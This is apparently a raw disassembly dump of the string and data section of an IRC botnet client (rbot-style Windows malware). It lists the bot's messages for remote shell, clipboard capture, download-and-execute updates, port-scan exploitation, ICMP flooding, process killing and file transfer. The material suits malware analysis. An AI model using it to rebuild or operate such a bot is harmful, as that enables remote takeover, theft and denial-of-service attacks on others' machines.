28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5BE2o dd 2029206Ch, 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 10h dword_433370 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5B75o dd 2029206Ch, 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 10h aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+5B66o ; sub_40CD3A+5BD3o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+5B52o ; sub_40CD3A+5BBFo align 4 asc_4333FC: ; DATA XREF: sub_40CD3A+5B22o unicode 0, <~>,0 dword_433400 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5AD1o dd 2029206Ch, 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_433438 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5A23o dd 2029206Ch, 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_433478 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5A18o dd 2029206Ch, 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 dword_4334B8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+59C7o dd 2029206Ch, 2BBBB02h, 73252020h, 2 dup(0) unk_4334E0 db 2 ; DATA XREF: sub_40CD3A+59A3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 10h dword_433530 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_40CD3A+593Fo dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h dd 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40CD3A+5939o align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_40CD3A+5932o align 4 aSec db 'sec',0 ; DATA XREF: sub_40CD3A+58D7o aSecure db 'secure',0 ; DATA XREF: sub_40CD3A+58C6o align 10h unk_433580 db 2 ; DATA XREF: sub_40CD3A+58A6o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_4335CC dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_4335DC dd 646E6946h, 6C696620h, 65hdword_4335E8 dd 72027002h, 1F631F6Fh, 2E2Ehdword_4335F4 dd 636F7250h, 20737365h, 7473696Ch, 0dword_433604 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5733o dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h dd 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A:loc_412460o align 4 dword_433648 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5711o dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh dd 2E676E69h, 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A:loc_41243Eo align 10h aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+56DBo align 4 dword_43369C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+568Fo dd 2029206Ch, 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_4336DC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5651o dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah dd 2Eh dword_433708 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CD3A+5627o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_433754 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CD3A+55CEo dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h dd 61657268h, 2E7364h dword_433784 dd 627573h dword_433788 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5556o dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch dd 2Eh, 0 dword_4337B8 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40CD3A+5526o dd 2029206Ch, 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_433804 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40CD3A+54AFo dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h dd 2E67h dword_433830 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5428o dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh dd 2E6F66h dword_43385C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+53F9o dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h dd 2E6Fh dword_433888 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+53A4o dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh dd 2E746Fh, 0 dword_4338B8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CD3A+5373o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStar_9 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_433908 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CD3A+5314o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh dd 6C207373h, 2E747369h, 0 aFull db 'full',0 ; DATA XREF: sub_40CD3A+52F4o align 4 dword_433944 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CD3A+5292o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyRunning db ' Already running.',0 align 4 unk_433978 db 2 ; DATA XREF: sub_40CD3A+5266o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 64h, 6Bh, 65h db 79h ; y db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 4 dword_4339AC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5217o dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah dd 2Eh dword_4339D8 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CD3A:loc_411EB4o dd 2029206Ch, 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_433A0C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5173o dd 2029206Ch, 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 4 dword_433A48 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5157o dd 2029206Ch, 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_433A84 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5141o dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h dd 2E647261h, 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CD3A+5113o align 4 unk_433AC8 db 2 ; DATA XREF: sub_40CD3A:loc_411E3Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 unk_433B08 db 2 ; DATA XREF: sub_40CD3A+50EEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 10h unk_433B40 db 2 ; DATA XREF: sub_40CD3A:loc_411E0Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 10h unk_433B80 db 2 ; DATA XREF: sub_40CD3A:loc_411E05o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 10h unk_433BC0 db 2 ; DATA XREF: sub_40CD3A+50C4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 unk_433BF8 db 2 ; DATA XREF: sub_40CD3A+5031o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_10 db 'Failed to start server thread, error: <%d>.',0 align 8 unk_433C48 db 2 ; DATA XREF: sub_40CD3A+4EBCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_433C94 db 2 ; DATA XREF: sub_40CD3A+4DAFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_0 db 'Already running.',0 align 4 dword_433CC8 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CD3A:loc_411AD3o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_12 db ' Failed to start scan, port is invalid.',0 align 8 dword_433D18 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CD3A+4CDAo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 dword_433D94 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+4A92o dd 2029206Ch, 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_433DCC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+4A79o dd 2029206Ch, 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_433E00 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+4A5Co dd 2029206Ch, 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_433E34 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+4A46o dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h dd 2E73h dword_433E60 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CD3A:loc_41170Co dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 10h dword_433EA0 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CD3A+49CBo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 dword_433ED8 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CD3A:loc_4116C8o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_433F14 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CD3A+4984o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 10h aAll db 'all',0 ; DATA XREF: sub_40CD3A+496Ao aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+48DFo ; sub_40CD3A:loc_412427o align 4 dword_433F64 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+4869o dd 2029206Ch, 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_433F9C db 2 ; DATA XREF: sub_40CD3A:loc_41158Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0 align 4 unk_433FD4 db 2 ; DATA XREF: sub_40CD3A+484Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFileOpenedS db 'File opened: %s',0 dword_434004 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+4821o dd 2029206Ch, 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_43403C dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: sub_40CD3A:loc_41153Fo dd 2029206Ch, 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_434078 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: sub_40CD3A+47DAo dd 2029206Ch, 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 dword_4340A8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CD3A:loc_4114E0o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTermin db ' Failed to terminate process: %s',0 align 4 dword_4340EC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CD3A+479Co dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledS db ' Process killed: %s',0 align 8 dword_434128 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CD3A:loc_411486o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 align 10h dword_434170 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CD3A+4745o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledI db ' Process killed ID: %s',0 dword_4341A8 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: sub_40CD3A+46FEo dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h dd 2E277325h, 0 dword_4341D8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CD3A+46D3o dd 2029206Ch, 2BBBB02h aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 dword_434224 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CD3A+467Ao dd 2029206Ch, 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 4 dword_43425C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: sub_40CD3A+4608o dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h dd 0 unk_434288 db 2 ; DATA XREF: sub_40CD3A+45C9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_13 db 'Failed to start connection thread, error: <%d>.',0 dword_4342D8 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_40CD3A+4570o dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h dd 0 dword_434304 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh ; DATA XREF: sub_40CD3A:loc_411205o dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh dd 2E746E65h, 0 unk_434334 db 2 ; DATA XREF: sub_40CD3A+44C4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Dh ; m db 69h, 72h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_434364 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CD3A+4487o dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h dd 7325h dword_434390 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CD3A+447Fo dd 2029206Ch, 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 10h dword_4343D0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+4439o dd 2029206Ch, 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_434404 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+4425o dd 2029206Ch, 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 dword_43443C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+43A0o dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h dd 2E73h dword_434468 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A:loc_41109Fo dd 2029206Ch, 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_4344AC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+434Fo dd 2029206Ch, 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_4344E4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+42CDo dd 2029206Ch, 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_434514 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+428Fo dd 2029206Ch, 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_434544 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+4239o dd 2029206Ch, 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 4 dword_434574 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+41CEo dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0 dword_43459C dd 54524150h, 0D732520h, 0Ah ; sub_40CD3A+4A4Eo dword_4345A8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+416Do dd 2029206Ch, 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+415Fo align 4 dword_4345E4 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: sub_40CD3A+4136o dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h dd 7325203Ah, 0 dword_434614 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: sub_40CD3A+40CBo dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h dd 25203A29h, 73h dword_434644 dd 45444F4Dh, 732520hdword_43464C dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: sub_40CD3A+4044o dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h dd 25203A29h, 73h dword_43467C dd 4B43494Eh, 732520h ; sub_40CD3A+48ABo dword_434684 dd 4E494F4Ah, 20732520h, 7325hdword_434690 dd 54524150h, 732520hdword_434698 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A:loc_410C86o dd 2029206Ch, 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 10h dword_4346E0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+3F15o dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah dd 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40CD3A+3EC4o align 4 dword_434714 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A:loc_410BB6o dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_43473C dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; sub_40CD3A+3EEFo ... unk_434750 db 2 ; DATA XREF: sub_40CD3A:loc_410B25o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_4347A8 db 2 ; DATA XREF: sub_40CD3A+3DCCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_4347F8 db 2 ; DATA XREF: sub_40CD3A+3D73o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40CD3A+3CCDo align 4 dword_434844 dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh ; DATA XREF: sub_40CD3A+3C6Eo dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh dd 732520h unk_434870 db 2 ; DATA XREF: sub_40CD3A+3C63o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 65h ; e db 78h, 65h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_4348A8 db 2 ; DATA XREF: sub_40CD3A+3BB1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_4348F8 db 2 ; DATA XREF: sub_40CD3A+3B4Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_43493C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: sub_40CD3A:loc_4107E9o ; sub_40CD3A:loc_41143Fo dd 29206C1Fh, 0BBBB0220h, 2002h unk_43495C db 2 ; DATA XREF: sub_40CD3A+3A9Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 8 unk_434998 db 2 ; DATA XREF: sub_40CD3A:loc_4107B2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 8 unk_4349E8 db 2 ; DATA XREF: sub_40CD3A+3A59o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_434A34 db 2 ; DATA XREF: 